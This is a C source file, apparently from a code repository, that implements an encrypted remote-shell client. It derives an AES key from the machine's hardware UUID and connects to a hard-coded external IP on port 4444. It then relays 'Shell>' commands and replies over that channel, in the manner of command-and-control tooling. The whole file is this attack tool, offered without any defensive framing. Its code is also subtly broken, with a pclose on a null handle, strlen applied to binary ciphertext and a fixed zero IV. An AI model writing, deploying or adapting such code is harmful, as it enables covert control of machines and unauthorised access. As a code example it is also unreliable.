92 lines
2.5 KiB
C
92 lines
2.5 KiB
C
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <string.h>
|
|
#include <unistd.h>
|
|
#include <sys/socket.h>
|
|
#include <arpa/inet.h>
|
|
#include <openssl/evp.h>
|
|
#include <openssl/sha.h>
|
|
#include <openssl/rand.h>
|
|
|
|
#define SERVER_IP "212.113.119.5"
|
|
#define PORT 4444
|
|
#define AES_KEY_SIZE 16
|
|
#define AES_BLOCK_SIZE 16
|
|
|
|
unsigned char key[AES_KEY_SIZE];
|
|
|
|
void generate_aes_key() {
|
|
FILE *fp = popen("cat /sys/class/dmi/id/product_uuid", "r");
|
|
char buffer[256];
|
|
if (fp == NULL || fgets(buffer, sizeof(buffer), fp) == NULL) {
|
|
pclose(fp);
|
|
RAND_bytes(key, AES_KEY_SIZE);
|
|
} else {
|
|
pclose(fp);
|
|
SHA256((unsigned char *)buffer, strlen(buffer), key);
|
|
}
|
|
}
|
|
|
|
void encrypt_data(unsigned char *plaintext, unsigned char *ciphertext) {
|
|
EVP_CIPHER_CTX *ctx = EVP_CIPHER_CTX_new();
|
|
int len, ciphertext_len;
|
|
unsigned char iv[AES_BLOCK_SIZE] = {0};
|
|
|
|
EVP_EncryptInit_ex(ctx, EVP_aes_128_cbc(), NULL, key, iv);
|
|
EVP_EncryptUpdate(ctx, ciphertext, &len, plaintext, strlen((char *)plaintext));
|
|
ciphertext_len = len;
|
|
EVP_EncryptFinal_ex(ctx, ciphertext + len, &len);
|
|
ciphertext_len += len;
|
|
|
|
EVP_CIPHER_CTX_free(ctx);
|
|
}
|
|
|
|
void decrypt_data(unsigned char *ciphertext, unsigned char *plaintext) {
|
|
EVP_CIPHER_CTX *ctx = EVP_CIPHER_CTX_new();
|
|
int len, plaintext_len;
|
|
unsigned char iv[AES_BLOCK_SIZE] = {0};
|
|
|
|
EVP_DecryptInit_ex(ctx, EVP_aes_128_cbc(), NULL, key, iv);
|
|
EVP_DecryptUpdate(ctx, plaintext, &len, ciphertext, strlen((char *)ciphertext));
|
|
plaintext_len = len;
|
|
EVP_DecryptFinal_ex(ctx, plaintext + len, &len);
|
|
plaintext_len += len;
|
|
|
|
plaintext[plaintext_len] = '\0';
|
|
EVP_CIPHER_CTX_free(ctx);
|
|
}
|
|
|
|
int main() {
|
|
generate_aes_key();
|
|
printf("[+] AES-ключ клиента сгенерирован\n");
|
|
|
|
int sock;
|
|
struct sockaddr_in server;
|
|
unsigned char buffer[1024], encrypted[1024], decrypted[1024];
|
|
|
|
sock = socket(AF_INET, SOCK_STREAM, 0);
|
|
server.sin_family = AF_INET;
|
|
server.sin_addr.s_addr = inet_addr(SERVER_IP);
|
|
server.sin_port = htons(PORT);
|
|
|
|
if (connect(sock, (struct sockaddr *)&server, sizeof(server)) < 0) {
|
|
close(sock);
|
|
return 1;
|
|
}
|
|
|
|
while (1) {
|
|
printf("Shell> ");
|
|
fgets(buffer, sizeof(buffer), stdin);
|
|
|
|
encrypt_data(buffer, encrypted);
|
|
send(sock, encrypted, sizeof(encrypted), 0);
|
|
|
|
recv(sock, encrypted, sizeof(encrypted), 0);
|
|
decrypt_data(encrypted, decrypted);
|
|
printf("%s\n", decrypted);
|
|
}
|
|
|
|
close(sock);
|
|
return 0;
|
|
}
|